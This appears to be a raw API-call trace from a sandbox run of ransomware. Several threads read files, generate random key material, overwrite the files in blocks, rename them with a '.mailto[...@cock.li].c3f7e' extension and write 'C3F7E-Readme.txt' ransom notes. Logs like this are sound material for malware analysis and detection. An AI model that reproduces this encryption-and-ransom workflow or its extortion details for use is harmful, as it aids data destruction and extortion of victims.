	[0076.061] GetFileSizeEx (in: hFile=0x9bc, lpFileSize=0xa50fdec | out: lpFileSize=0xa50fdec*=80738) returned 1
	[0076.061] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x13b5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.061] ReadFile (in: hFile=0x9bc, lpBuffer=0xa50fd70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa50fd6c, lpOverlapped=0x0 | out: lpBuffer=0xa50fd70*, lpNumberOfBytesRead=0xa50fd6c*=0x4, lpOverlapped=0x0) returned 1
	[0076.069] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47247e8
	[0076.069] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.069] NtQuerySystemTime (in: CurrentTime=0xa50fd4c | out: CurrentTime=0xa50fd4c*=132251868028096592) returned 0x0
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xaafc85bb
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xe2efac7c
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xa1b8b048
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x84587a57
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x516cc7a9
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x76501f93
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x903d2e41
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x889d2b06
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xc0cffc4b
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x1589038d
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xbd93eec8
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xbd25fa43
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x611ac31f
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x19cf0635
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x20b81a57
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x753c96ff
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x9de7a51
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x58cbab1a
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x5feef65d
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x463ec689
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x70e9aa19
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x5d9de19
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x3eec0b8b
	[0076.069] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xe48355fa
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xdca438c9
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x97558c45
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xffc71884
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x5bd871b8
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x165a43ac
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0xbf9ff29a
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x68d5dcfa
	[0076.070] RtlRandom (in: Seed=0xa50fd58 | out: Seed=0xa50fd58) returned 0x12e1e395
	[0076.078] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.078] ReadFile (in: hFile=0x9bc, lpBuffer=0x4e35860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa50fd2c, lpOverlapped=0x0 | out: lpBuffer=0x4e35860*, lpNumberOfBytesRead=0xa50fd2c*=0xc800, lpOverlapped=0x0) returned 1
	[0076.079] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.079] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.079] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e42068
	[0076.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724900
	[0076.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724928
	[0076.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724928) returned 1
	[0076.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.080] WriteFile (in: hFile=0x9bc, lpBuffer=0x4e42068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa50fd2c, lpOverlapped=0x0 | out: lpBuffer=0x4e42068*, lpNumberOfBytesWritten=0xa50fd2c*=0xc800, lpOverlapped=0x0) returned 1
	[0078.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e42068) returned 1
	[0078.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e35860) returned 1
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764c78
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343c0
	[0078.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343c0) returned 1
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x4764d20
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343c0
	[0078.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e343e8
	[0078.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0078.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x113) returned 0x4771740
	[0078.524] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.524] WriteFile (in: hFile=0x9bc, lpBuffer=0x4771740*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa50fdac, lpOverlapped=0x0 | out: lpBuffer=0x4771740*, lpNumberOfBytesWritten=0xa50fdac*=0x113, lpOverlapped=0x0) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771740) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764d20) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343c0) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4764c78) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724900) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47247e8) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248b0) returned 1
	[0078.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248d8) returned 1
	[0078.672] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986ba8
	[0078.673] wcscpy (in: _Dest=0x4986ba8, _Source="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml"
	[0078.673] wcscat (in: _Dest=0x4986ba8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.673] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa50fd64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4769c68
	[0078.673] NtSetInformationFile (FileHandle=0x9bc, IoStatusBlock=0xa50fd5c, FileInformation=0x4769c68, Length=0xb6, FileInformationClass=0xa) returned 0x0
	[0078.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1
	[0078.765] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d828) returned 1
	[0078.765] NtQueryInformationFile (in: FileHandle=0x9bc, IoStatusBlock=0xa50fd70, FileInformation=0xa50fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa50fd70, FileInformation=0xa50fd48) returned 0x0
	[0078.766] NtSetInformationFile (FileHandle=0x9bc, IoStatusBlock=0xa50fd70, FileInformation=0xa50fd48, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4986ba8) returned 1
	[0078.766] FlushFileBuffers (hFile=0x9bc) returned 1
	[0080.097] CloseHandle (hObject=0x9bc) returned 1
	[0080.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780e60
	[0080.205] wcscpy (in: _Dest=0x4780e60, _Source="C:\\588bce7c90097ed212\\1046\\" | out: _Dest="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\"
	[0080.205] wcscat (in: _Dest=0x4780e60, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt"
	[0080.205] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\c3f7e-readme.txt")) returned 0x20
	[0080.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780e60) returned 1
	[0080.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47334c0) returned 1

Thread:
	id = 206
	os_tid = 0xc3c

	[0076.078] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80
	[0076.083] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0076.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b4
	[0076.083] GetFileSizeEx (in: hFile=0x9b4, lpFileSize=0xa58f9d0 | out: lpFileSize=0xa58f9d0*=54456) returned 1
	[0076.083] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0xd4b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.083] ReadFile (in: hFile=0x9b4, lpBuffer=0xa58f954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa58f950, lpOverlapped=0x0 | out: lpBuffer=0xa58f954*, lpNumberOfBytesRead=0xa58f950*=0x4, lpOverlapped=0x0) returned 1
	[0076.084] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724928
	[0076.084] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.084] NtQuerySystemTime (in: CurrentTime=0xa58f930 | out: CurrentTime=0xa58f930*=132251868028252530) returned 0x0
	[0076.084] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x2b4983a3
	[0076.084] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xad9fa368
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xb7e3e41c
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xf1e18aea
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xb78bc8ce
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xe87e0541
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x9eec1ba1
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xa4cad136
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xa885b7c6
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x8b3d582b
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x621750a0
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x841a8cf6
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x78597ecb
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x8c53a04d
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x7be3b7a0
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xc17685e9
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x608eb83b
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xeebeb6c3
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xec3d99e4
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x7675c71e
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x3941d022
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xa10b70ad
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x9a02cccb
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x45c16c5c
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xe7da0e2d
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xc2d213c5
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xe5938120
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x99d47bd9
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xe24244ad
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0xc2092b7b
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x93768fbe
	[0076.085] RtlRandom (in: Seed=0xa58f93c | out: Seed=0xa58f93c) returned 0x6e4693
	[0076.094] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.094] ReadFile (in: hFile=0x9b4, lpBuffer=0x4e4e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa58f910, lpOverlapped=0x0 | out: lpBuffer=0x4e4e870*, lpNumberOfBytesRead=0xa58f910*=0xc800, lpOverlapped=0x0) returned 1
	[0076.095] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d739c0
	[0076.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04d38
	[0076.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724bf8
	[0076.095] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.097] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e5b078
	[0076.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249a0
	[0076.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249c8
	[0076.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0076.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0076.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d739c0) returned 1
	[0076.099] WriteFile (in: hFile=0x9b4, lpBuffer=0x4e5b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa58f910, lpOverlapped=0x0 | out: lpBuffer=0x4e5b078*, lpNumberOfBytesWritten=0xa58f910*=0xc800, lpOverlapped=0x0) returned 1
	[0076.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e5b078) returned 1
	[0076.102] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e4e870) returned 1
	[0076.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4724bf8
	[0076.102] SetFilePointerEx (in: hFile=0x9b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.102] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0xa58f990, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa58f990*=0x101, lpOverlapped=0x0) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249c8) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249f0) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724bf8) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724928) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724950) returned 1
	[0076.113] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724978) returned 1
	[0076.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.113] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\1049\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf"
	[0076.113] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa58f948, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.120] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0076.120] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2b258) returned 1
	[0076.120] NtQueryInformationFile (in: FileHandle=0x9b4, IoStatusBlock=0xa58f954, FileInformation=0xa58f92c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa58f954, FileInformation=0xa58f92c) returned 0x0
	[0076.120] NtSetInformationFile (FileHandle=0x9b4, IoStatusBlock=0xa58f954, FileInformation=0xa58f92c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.121] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.121] FlushFileBuffers (hFile=0x9b4) returned 1
	[0076.122] CloseHandle (hObject=0x9b4) returned 1
	[0076.122] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0076.122] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1049\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\"
	[0076.122] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt"
	[0076.122] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\c3f7e-readme.txt")) returned 0xffffffff
	[0076.123] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b4
	[0076.123] WriteFile (in: hFile=0x9b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa58f950, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa58f950*=0x6f6, lpOverlapped=0x0) returned 1
	[0076.124] CloseHandle (hObject=0x9b4) returned 1
	[0076.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0076.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730920) returned 1

Thread:
	id = 207
	os_tid = 0x704

	[0076.084] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0076.095] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0076.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c0
	[0076.101] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0xa60fe10 | out: lpFileSize=0xa60fe10*=81482) returned 1
	[0076.101] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x13e46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.101] ReadFile (in: hFile=0x9c0, lpBuffer=0xa60fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa60fd90, lpOverlapped=0x0 | out: lpBuffer=0xa60fd94*, lpNumberOfBytesRead=0xa60fd90*=0x4, lpOverlapped=0x0) returned 1
	[0076.103] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a18
	[0076.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a40
	[0076.103] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724a68
	[0076.103] NtQuerySystemTime (in: CurrentTime=0xa60fd70 | out: CurrentTime=0xa60fd70*=132251868028409035) returned 0x0
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xd1cbbadb
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xbf571c9c
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x9caf4e8e
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xff711f34
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x28389fd4
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xcdf29b23
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x6f0339b6
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x6d4abacc
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xc45975e2
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0x6d68bd00
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xa8ecb9b9
	[0076.103] RtlRandom (in: Seed=0xa60fd7c | out: Seed=0xa60fd7c) returned 0xa38bc392
